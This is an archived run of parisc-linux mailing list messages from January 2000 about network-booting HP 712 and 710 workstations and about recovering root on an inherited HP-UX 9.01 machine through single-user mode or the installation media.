- > without having to enter a password (later OS versions may
- > require the root password to enter single user mode.)
- 
- <snip>
- 
- Being in a similar predicament with a 710 workstation I managed
- to get to the ISL prompt but to boot into single user mode
- I needed to enter 'HPUX -is /hp-ux'. However, after file system
- checking I got a repeated message along the lines of:
- 
- INIT: SINGLE USER MODE
- 
- This just filled up my screen.

	Do you get anything besides the above message??  If not,
I'd suggest that either /bin/sh is missing, or HP-UX doesn't
agree with the hardware about where the console is, and the
shell is always getting an EOF when it tries to read the
console.

	At this point, I'd be more towards a missing shell.

	From your boot command line, it sounds like the box is
running 9.0x.  Is this true?

	FYI: 10.20 may still be available for free under HP's Y2K
upgrade program.  I ordered the 10.20 Y2K OS kit on the 30th.  I
haven't seen it yet, but that's another kettle..  Visit
http://www.hp.com/visualize/programs/y2k/y2k_menu/y2k_upgr/oskit.html
for more details.

- Any suggestions as to what I can do to get root ?

	At this point, you probably need to boot off of the
installation media, and try to replace what appears to be a
missing shell.

--
Eric Schnoebelen		eric@cirr.com		http://www.cirr.com
    Celestial navigation is based on the premise that the Earth is the
    center of the universe.  The premise is wrong, but the navigation
    works.  An incorrect model can be a useful tool. -- Kelvin Throop III


From - Thu Nov 08 21:11:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thierry SIMONNET" <t.simonnet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble booting 712/60 and 710
Date: Thu, 6 Jan 2000 09:29:31 +0100
Lines: 76
Approved: news@gmane.org
Message-ID: <01dd01bf5820$27f8d580$0a14d793@esiee.fr>
References: <200001052006.OAA26587@egsner.cirr.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618722 29582 80.91.229.3 (22 Nov 2014 01:12:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:02 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "Eric Schnoebelen" <eric@cirr.com>
Original-X-From: t.simonnet@esiee.fr  Thu Jan  6 01:26:56 2000
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA29840
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 Jan 2000 01:26:55 -0700
Original-Received: (qmail 30964 invoked by uid 15267); 6 Jan 2000 08:29:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30952 invoked from network); 6 Jan 2000 08:29:48 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 6 Jan 2000 08:29:48 -0000
Original-Received: from venus (venus.esiee.fr [147.215.20.10])
	by mail.esiee.fr (Postfix) with SMTP
	id DF99C5730E; Thu,  6 Jan 2000 09:29:30 +0100 (CET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:6676

I test the following configuration :
Server : 712/60 with bootpd, HPUX 10.20, IP address 147.215.1.38
Linux workstation : 712/60, IP address 147.215.1.38
I use bootptab file like this :

mkhppa01:\
    ht=ethernet:\
    hd=/tftpboot:\
    bf=Image2:\
    ha=0800096dc1ec:\
    sm=255.255.255.0:\
    gw=147.215.1.1:\
    ds=147.215.1.4:\
    ip=147.215.1.37

I try to boot with any Image by typing : boot lan.147.215.1.38

syslog.log give me :
---- bootpd[5757] : bootsize=1396736 hp->bootsize=1396736
But nothing happens.

TX
----- Original Message -----
From: Eric Schnoebelen <eric@cirr.com>
To: Thierry SIMONNET <t.simonnet@esiee.fr>
Cc: <parisc-linux@thepuffingroup.com>
Sent: Wednesday, January 05, 2000 9:06 PM
Subject: Re: [parisc-linux] Trouble booting 712/60 and 710


>
> "Thierry SIMONNET" writes:
> - I work on HP712/60  and HP710 workstation under HPUX 10.20.
> - I've done vmlinux and Image.
> -
> - I can't boot using native HP's bootp daemon. The documentation is a bit
> - light and the archive doesn't give me any good response.
> - I try to boot using HP ISL (after using som_relocate), but it fails. In
fact
> - it blocks in real setup.
>
> The 710 is going to use rbootd to network boot.. The 712
> should use bootpd.
>
> Using rbootd for Linux from the puffin site, the configuration
> file (rbootd.conf) should look like this:
>
> 08:00:09:16:5e:d7 Image # puck (hp720)
>
> Image should be stored in the directory specified by the
> rbootd manual page (/usr/mdec/rbootd on my systems.)
>
> Using bootp on HP-UX, the configuration file
> (/etc/bootptab) should look like this:
>
> test:\
> bf=Image:\
> ht=ether:\
> ha=080009165ed7:\
> ip=192.168.64.1:\
> hd=/:\
>
> Image should be stored in the root of your tftpd server
> directory tree.  tftpd will need to be installed and configured.
>
> [Warning, the bootp configuration file is approximate, as I
> can't seem to find my running configuration.. The rbootd
> configuration is correct as used by my 720.]
>
>
> --
> Eric Schnoebelen eric@cirr.com http://www.cirr.com
> "The UNIX PC 3B1: 75% of the power of a VAX-11/780" - Technology Resource
Ctr
>
> --------------------------------------------------------------------------

From - Thu Nov 08 21:11:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mark Wild <M_Wild@tunstall.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Thanks...alot
Date: Thu, 6 Jan 2000 09:03:19 -0000
Lines: 88
Approved: news@gmane.org
Message-ID: <51C39E66FF96D11194FCAA00040003048F3830@tele02.localnet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416618722 29593 80.91.229.3 (22 Nov 2014 01:12:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:02 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: m_wild@tunstall.co.uk  Thu Jan  6 02:01:54 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA30199
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 Jan 2000 02:01:53 -0700
Original-Received: (qmail 8091 invoked by uid 15267); 6 Jan 2000 09:04:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8062 invoked from network); 6 Jan 2000 09:04:40 -0000
Original-Received: from gate-isdn.tunstall.co.uk (194.152.75.185)
  by mailserv2.iuinc.com with SMTP; 6 Jan 2000 09:04:40 -0000
Original-Received: from [10.1.1.3] (helo=tele02.tunstall.co.uk)
	by gate-isdn.tunstall.co.uk with esmtp (Exim 2.12 #1)
	id 1268nY-0004jZ-00
	for parisc-linux@thepuffingroup.com; Thu, 6 Jan 2000 09:01:36 +0000
Original-Received: by tele02.localnet with Internet Mail Service (5.5.2448.0)
	id <ZL6QBQHX>; Thu, 6 Jan 2000 09:03:20 -0000
X-Mailer: Internet Mail Service (5.5.2448.0)
Xref: news.gmane.org gmane.linux.ports.parisc:6677



> -----Original Message-----
> From: eric@cirr.com [mailto:eric@cirr.com]
> Sent: Thursday, January 06, 2000 3:23 AM
> To: Mark Wild
> Cc: parisc-linux@thepuffingroup.com
> Subject: Re: [parisc-linux] Thanks...alot 
> 
> 
> 
> Mark Wild writes:
> - From: eric@cirr.com [mailto:eric@cirr.com]
> - > tom@piace.com writes:
> - > - 	Does anyone know if hp has a development 
> version of hpux like
> - > - sun has with solaris?  If not does anyone know of a way 
> to reset the
> - > - password from the console.
> - > 
> - > 	Depending upon the OS version and the settings, you
> - > should be able to boot the system to single user mode, and reset
> - > the password.  I'm a bit out of practice, but if you ``boot
> - > isl'', and then enter `/hp-ux -is' (for 9.0x) or `/stand/vmunix
> - > -is' (for 10.20), you should be get a single user prompt,
> - > without having to enter a password (later OS versions may
> - > require the root password to enter single user mode.)
> - 
> - <snip>
> - 
> - Being in a similar predicament with a 710 workstation I managed
> - to get to the ISL prompt but to boot into single user mode
> - I needed to enter 'HPUX -is /hp-ux'. However, after file system
> - checking I got a repeated message along the lines of:
> - 
> - INIT: SINGLE USER MODE
> - 
> - This just filled up my screen.
> 
> 	Do you get anything besides the above message??

No, it just repeatedly produces that message.

>  If not,
> I'd suggest that either /bin/sh is missing, or HP-UX doesn't
> agree with the hardware about where the console is, and the
> shell is always getting an EOF when it tries to read the
> console.

It manages to boot into multi-user mode OK.

> 	At this point, I'd be more towards a missing shell.

I inherited the machine from my University as it was surplus
to requirements due to upgrading. Could it be possible that
the sysadmins have deliberately done this to prevent inquisitive
students ?

> 	From your boot command line, it sounds like the box is
> running 9.0x.  Is this true?

Yes, 9.01.

> 
> 	FYI: 10.20 may still be available for free under HP's Y2K
> upgrade program.  I ordered the 10.20 Y2K OS kit on the 30th.  I
> haven't seen it yet, but that's another kettle..  Visit
> http://www.hp.com/visualize/programs/y2k/y2k_menu/y2k_upgr/oskit.html
> for more details.

I have the upgrade media (P/N B7989AA) but it doesn't seem to
contain anything for a cold install, just patches for 9.x to 10.20
although from previous posts I see some people claim to have done this.

Who did you contact regarding the above link?

> - Any suggestions as to what I can do to get root ?
> 
> 	At this point, you probably need to boot off of the
> installation media, and try to replace what appears to be a
> missing shell.

Hmm, looks like I'm snookered then ...

Thanks,

Mark Wild.


From - Thu Nov 08 21:11:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] where to get som_relocate?
Date: Thu, 6 Jan 2000 15:31:59 -0500 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.20.0001061526570.31301-100000@mojo.calyx.net>
References: <199912091758.KAA29442@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618722 29606 80.91.229.3 (22 Nov 2014 01:12:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:02 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bri@mojo.calyx.net  Thu Jan  6 13:29:59 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA04721
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 Jan 2000 13:29:54 -0700
Original-Received: (qmail 21453 invoked by uid 15267); 6 Jan 2000 20:32:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21441 invoked from network); 6 Jan 2000 20:32:02 -0000
Original-Received: from mojo.calyx.net (HELO mail.calyx.net) (wi97U9crBWXxzrniZkQq@208.132.136.2)
  by mailserv2.iuinc.com with SMTP; 6 Jan 2000 20:32:02 -0000
Original-Received: (qmail 5747 invoked from network); 6 Jan 2000 20:32:00 -0000
Original-Received: from mojo.calyx.net (HELO mojo) (B20Rl94sar1O2nREJsQt@208.132.136.2)
  by mojo.calyx.net with SMTP; 6 Jan 2000 20:32:00 -0000
In-Reply-To: <199912091758.KAA29442@debian.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6678


Where's som_relocate to be found? It's time I gave this 
another yank.

--
Brian S. Julin

On Thu, 9 Dec 1999, Paul Bame wrote:

> = Finally got the build working, but no luck booting
> = (this is a 715/64) with either that or the images
> = on the web site.  IPL encounters an error of some sort,
> = but provides no specifics.  I've only tried booting over 
> = LAN so far.
> 
> If you're using the HPUX boot loader, be sure to run som_relocate
> (which will need re-building to run on hpux 9.x) on vmlinux before
> trying to boot it.
> 
> 	-Paul Bame
> 



From - Thu Nov 08 21:11:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: eric@cirr.com (Eric Schnoebelen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble booting 712/60 and 710
Date: Thu, 06 Jan 2000 14:47:06 -0600
Lines: 58
Approved: news@gmane.org
Message-ID: <200001062047.OAA22081@opus.cirr.com>
References: <01dd01bf5820$27f8d580$0a14d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618723 29614 80.91.229.3 (22 Nov 2014 01:12:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:03 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Thierry SIMONNET" <t.simonnet@esiee.fr>
Original-X-From: eric@cirr.com  Thu Jan  6 13:44:34 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA04938
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 Jan 2000 13:44:33 -0700
Original-Received: (qmail 30834 invoked by uid 15267); 6 Jan 2000 20:47:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30791 invoked from network); 6 Jan 2000 20:47:25 -0000
Original-Received: from opus.cirr.com (root@192.67.63.6)
  by mailserv2.iuinc.com with SMTP; 6 Jan 2000 20:47:25 -0000
Original-Received: from cirr.com (IDENT:eric@egsner.cirr.com [192.67.63.1])
	by opus.cirr.com (8.9.0/8.9.0) with ESMTP id OAA22081;
	Thu, 6 Jan 2000 14:47:06 -0600 (CST)
In-reply-to: Your message of "Thu, 06 Jan 2000 09:29:31 +0100."
             <01dd01bf5820$27f8d580$0a14d793@esiee.fr> 
Original-Sender: eric@cirr.com
Xref: news.gmane.org gmane.linux.ports.parisc:6679


"Thierry SIMONNET" writes:
- I test the following configuration :
- Server : 712/60 with bootpd, HPUX 10.20, IP address 147.215.1.38
- Linux workstation : 712/60, IP address 147.215.1.38
- I use bootptab file like this :
- 
- mkhppa01:\
-     ht=ethernet:\
-     hd=/tftpboot:\
-     bf=Image2:\
-     ha=0800096dc1ec:\
-     sm=255.255.255.0:\
-     gw=147.215.1.1:\
-     ds=147.215.1.4:\
-     ip=147.215.1.37
- 
- I try to boot with any Image by typing : boot lan.147.215.1.38
- 
- syslog.log give me :
- ---- bootpd[5757] : bootsize=1396736 hp->bootsize=1396736
- But nothing happens.

	How is your tftp server set up??  Is it running chrooted
or not?? If it's running chrooted, the `hd' parameter above is
probably wrong as `bf' is likely in the real location of
`/tftpboot/Image2' and not `<tftpdir>/tftpboot/Image2'.

>From the bootpd manual page on HP-UX 10.20:


	Clients that do not specify boot files in their boot
	requests always elicit a reply from the server.  The exact
	reply depends on the values of the hd and bf tags.  If the
	bf tag specifies an absolute path name, and the file is
	accessible, that path name is returned in the reply packet.
	Otherwise, if the hd and bf tags together specify an
	accessible file, that file name is returned in the reply.
	If a complete file name cannot be determined, or the file is
	not accessible publicly, the reply contains a zeroed-out
	bootfile field.

	If the tftp pseudouser exists, bootpd treats all path names
	(absolute or relative) as being relative to the home
	directory of tftp and checks there first.  If the file is
	not accessible under the tftp home directory or the tftp
	pseudouser does not exist, bootpd checks for the file
	relative to /.


(hmm, the HP version of bootpd is strange, relative to the CMU
edition I'm running on other hosts..)

--
Eric Schnoebelen		eric@cirr.com		 http://www.cirr.com
		"Strange things are afoot at the Circle-K"
			 -- Bill and Ted's Excellent Adventure


From - Thu Nov 08 21:11:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: eric@cirr.com (Eric Schnoebelen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Thanks...alot
Date: Thu, 06 Jan 2000 15:08:15 -0600
Lines: 79
Approved: news@gmane.org
Message-ID: <200001062108.PAA22757@opus.cirr.com>
References: <51C39E66FF96D11194FCAA00040003048F3830@tele02.localnet>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618723 29620 80.91.229.3 (22 Nov 2014 01:12:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:03 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Mark Wild <M_Wild@tunstall.co.uk>
Original-X-From: eric@cirr.com  Thu Jan  6 14:06:45 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA05382
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 Jan 2000 14:06:45 -0700
Original-Received: (qmail 11119 invoked by uid 15267); 6 Jan 2000 21:08:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11109 invoked from network); 6 Jan 2000 21:08:43 -0000
Original-Received: from opus.cirr.com (root@192.67.63.6)
  by mailserv2.iuinc.com with SMTP; 6 Jan 2000 21:08:43 -0000
Original-Received: from cirr.com (IDENT:eric@egsner.cirr.com [192.67.63.1])
	by opus.cirr.com (8.9.0/8.9.0) with ESMTP id PAA22757;
	Thu, 6 Jan 2000 15:08:15 -0600 (CST)
In-reply-to: Your message of "Thu, 06 Jan 2000 09:03:19 GMT."
             <51C39E66FF96D11194FCAA00040003048F3830@tele02.localnet> 
Original-Sender: eric@cirr.com
Xref: news.gmane.org gmane.linux.ports.parisc:6680


Mark Wild writes:
- From: eric@cirr.com [mailto:eric@cirr.com]
- >  If not,
- > I'd suggest that either /bin/sh is missing, or HP-UX doesn't
- > agree with the hardware about where the console is, and the
- > shell is always getting an EOF when it tries to read the
- > console.
- 
- It manages to boot into multi-user mode OK.

	Do you see any output from the system rc scripts during
multi-user boot??

- > 	At this point, I'd be more towards a missing shell.
- 
- I inherited the machine from my University as it was surplus
- to requirements due to upgrading. Could it be possible that
- the sysadmins have deliberately done this to prevent inquisitive
- students ?

	I suppose it's possible, but I'd venture it unlikely, as
it's a bit more pain than the gain, at least in my opinion..

	You might check to see what interpreter is called out at
the top of /etc/rc.  If it's still /bin/sh, go verify what
/bin/sh points to..

	From a strings on a 9.03 init, it appears that init
might attempt to start /bin/ksh, /bin/csh, /bin/sh, and /bin/su.
You might want to verify the existance of those (/bin/su in
particular).

	The 9.03 init I'm looking at also appears to look for
consoles on /dev/systty, /dev/syscon and /dev/console. You might
verify that they all point to useful locations..

- > 	FYI: 10.20 may still be available for free under HP's Y2K
- > upgrade program.  I ordered the 10.20 Y2K OS kit on the 30th.  I
- > haven't seen it yet, but that's another kettle..  Visit
- > http://www.hp.com/visualize/programs/y2k/y2k_menu/y2k_upgr/oskit.html
- > for more details.
- 
- I have the upgrade media (P/N B7989AA) but it doesn't seem to
- contain anything for a cold install, just patches for 9.x to 10.20
- although from previous posts I see some people claim to have done this.

	As I recall, there were no `patches' to go from 9.0x to
10.20 (given the filesystem was radically reorganized, etc.), so
I would expect that the `Upgrade Media' should be bootable..
Although, I don't have a copy, and you do..

	The P/N I'm looking at on the above mentioned page is
B6815AA, and is listed as including HP-UX 10.20 Core, ACE 9906
Core/Install CD, Quality packs, etc..

- Who did you contact regarding the above link?

	Who ever answered the phone when I called the US
fulfillment phone number (1800.386.1117, ext 4).  Karen, I
believe.  I'm sure there is another fulfillment operation in the
UK or Europe that could help you out (although I don't see such
phone numbers listed.)

- > - Any suggestions as to what I can do to get root ?
- > 
- > 	At this point, you probably need to boot off of the
- > installation media, and try to replace what appears to be a
- > missing shell.
- 
- Hmm, looks like I'm snookered then ...

	Possibly..

--
Eric Schnoebelen		eric@cirr.com		 http://www.cirr.com
		"Strange things are afoot at the Circle-K"
			 -- Bill and Ted's Excellent Adventure


From - Thu Nov 08 21:11:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] where to get som_relocate?
Date: Thu, 06 Jan 2000 14:21:18 -0700
Lines: 8
Approved: news@gmane.org
Message-ID: <E126KLO-0000RS-00@endor.fc.hp.com>
References: <Pine.BSO.4.20.0001061526570.31301-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618723 29624 80.91.229.3 (22 Nov 2014 01:12:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:03 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Brian S. Julin" <bri@mojo.calyx.net>
Original-X-From: bame@endor.fc.hp.com  Thu Jan  6 14:19:40 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA05939
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 Jan 2000 14:19:39 -0700
Original-Received: (qmail 15791 invoked by uid 15267); 6 Jan 2000 21:21:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15780 invoked from network); 6 Jan 2000 21:21:30 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 6 Jan 2000 21:21:30 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by palrel1.hp.com (Postfix) with ESMTP
	id 4EC7D7B2; Thu,  6 Jan 2000 13:21:19 -0800 (PST)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 2.05 #1 (Debian))
	id 126KLO-0000RS-00; Thu, 6 Jan 2000 14:21:18 -0700
In-reply-to: Your message of "Thu, 06 Jan 2000 15:31:59 EST."
             <Pine.BSO.4.20.0001061526570.31301-100000@mojo.calyx.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:6681

= 
= Where's som_relocate to be found? It's time I gave this 
= another yank.

start at ftp://puffin.external.hp.com/pub/parisc/

	-P


From - Thu Nov 08 21:11:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mark Wild <M_Wild@tunstall.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Thanks...alot
Date: Fri, 7 Jan 2000 09:39:52 -0000
Lines: 59
Approved: news@gmane.org
Message-ID: <51C39E66FF96D11194FCAA0004000304933A96@tele02.localnet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416618724 29625 80.91.229.3 (22 Nov 2014 01:12:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:04 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: m_wild@tunstall.co.uk  Fri Jan  7 02:38:04 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA02033
	for <parisc-linux@puffin.external.hp.com>; Fri, 7 Jan 2000 02:38:03 -0700
Original-Received: (qmail 24963 invoked by uid 15267); 7 Jan 2000 09:40:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24955 invoked from network); 7 Jan 2000 09:40:57 -0000
Original-Received: from gate-isdn.tunstall.co.uk (194.152.75.185)
  by mailserv2.iuinc.com with SMTP; 7 Jan 2000 09:40:57 -0000
Original-Received: from [10.1.1.3] (helo=tele02.tunstall.co.uk)
	by gate-isdn.tunstall.co.uk with esmtp (Exim 2.12 #1)
	id 126VqM-0002HJ-00
	for parisc-linux@thepuffingroup.com; Fri, 7 Jan 2000 09:38:02 +0000
Original-Received: by tele02.localnet with Internet Mail Service (5.5.2448.0)
	id <ZL6QBQWV>; Fri, 7 Jan 2000 09:39:53 -0000
X-Mailer: Internet Mail Service (5.5.2448.0)
Xref: news.gmane.org gmane.linux.ports.parisc:6682



> -----Original Message-----
> From: eric@cirr.com [mailto:eric@cirr.com]
> Sent: Thursday, January 06, 2000 9:08 PM
> To: Mark Wild
> Cc: parisc-linux@thepuffingroup.com
> Subject: Re: [parisc-linux] Thanks...alot 
> 
> 
> 
> Mark Wild writes:
> - From: eric@cirr.com [mailto:eric@cirr.com]
> - >  If not,
> - > I'd suggest that either /bin/sh is missing, or HP-UX doesn't
> - > agree with the hardware about where the console is, and the
> - > shell is always getting an EOF when it tries to read the
> - > console.
> - 
> - It manages to boot into multi-user mode OK.
> 
> 	Do you see any output from the system rc scripts during
> multi-user boot??

Yes. It performs a quota check etc, gets to a console login before
X kicks in.
 
> - > 	At this point, I'd be more towards a missing shell.
> - 
> - I inherited the machine from my University as it was surplus
> - to requirements due to upgrading. Could it be possible that
> - the sysadmins have deliberately done this to prevent inquisitive
> - students ?
> 
> 	I suppose it's possible, but I'd venture it unlikely, as
> it's a bit more pain than the gain, at least in my opinion..
> 
> 	You might check to see what interpreter is called out at
> the top of /etc/rc.  If it's still /bin/sh, go verify what
> /bin/sh points to..

How can I do that? I'm not familiar with all the options/commands
of the hpux command from the ISL prompt.

> 	From a strings on a 9.03 init, it appears that init
> might attempt to start /bin/ksh, /bin/csh, /bin/sh, and /bin/su.
> You might want to verify the existance of those (/bin/su in
> particular).

> 	The 9.03 init I'm looking at also appears to look for
> consoles on /dev/systty, /dev/syscon and /dev/console. You might
> verify that they all point to useful locations..

OK. I'll check these.

<snip>

Cheers, Mark.


From - Thu Nov 08 21:11:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: eric@cirr.com (Eric Schnoebelen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Thanks...alot
Date: Fri, 07 Jan 2000 09:52:30 -0600
Lines: 71
Approved: news@gmane.org
Message-ID: <200001071552.JAA01881@egsner.cirr.com>
References: <51C39E66FF96D11194FCAA0004000304933A96@tele02.localnet>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618724 29628 80.91.229.3 (22 Nov 2014 01:12:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:04 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Mark Wild <M_Wild@tunstall.co.uk>
Original-X-From: eric@cirr.com  Fri Jan  7 08:49:49 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA04800
	for <parisc-linux@puffin.external.hp.com>; Fri, 7 Jan 2000 08:49:48 -0700
Original-Received: (qmail 19654 invoked by uid 15267); 7 Jan 2000 15:52:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19642 invoked from network); 7 Jan 2000 15:52:43 -0000
Original-Received: from egsner.cirr.com (root@192.67.63.1)
  by mailserv2.iuinc.com with SMTP; 7 Jan 2000 15:52:43 -0000
Original-Received: from cirr.com (IDENT:eric@egsner.cirr.com [192.67.63.1]) by egsner.cirr.com (8.9.0/8.9.1)
         with ESMTP id JAA01881; Fri, 7 Jan 2000 09:52:31 -0600 (CST)
In-reply-to: Your message of "Fri, 07 Jan 2000 09:39:52 GMT."
             <51C39E66FF96D11194FCAA0004000304933A96@tele02.localnet> 
Original-Sender: eric@cirr.com
Xref: news.gmane.org gmane.linux.ports.parisc:6683


Mark Wild writes:
- From: eric@cirr.com [mailto:eric@cirr.com]
- > 	You might check to see what interpreter is called out at
- > the top of /etc/rc.  If it's still /bin/sh, go verify what
- > /bin/sh points to..
- 
- How can I do that? I'm not familiar with all the options/commands
- of the hpux command from the ISL prompt.

	I was suggesting you do that from a multi-user login
(assuming you've got one.. perhaps a rash assumption..)

--
Eric Schnoebelen		eric@cirr.com		http://www.cirr.com
	"The steady state of disks is full." -- Ken Thompson

X-From-Line: pjlahaie@sims-ha.videotron.net  Thu Mar 11 22:11:33 1999
Return-Path: <pjlahaie@sims-ha.videotron.net>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id WAA14704
	for <pcj@merlin.pcj.primenet.com>; Thu, 11 Mar 1999 22:11:33 -0800
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Thu, 11 Mar 1999 22:11:33 PST
Received: from smtp01.primenet.com (daemon@smtp01.primenet.com [206.165.6.131])
	by primenet.com (8.8.8/8.8.5) with ESMTP id TAA06759
	for <pcj@smtp-local.primenet.com>; Thu, 11 Mar 1999 19:44:09 -0700 (MST)
Received: (from daemon@localhost)
	by smtp01.primenet.com (8.8.8/8.8.8) id TAA12197
	for <pcj@primenet.com>; Thu, 11 Mar 1999 19:45:17 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp01.primenet.com, id smtpd012165; Thu Mar 11 19:45:08 1999
Received: (from listserv@localhost)
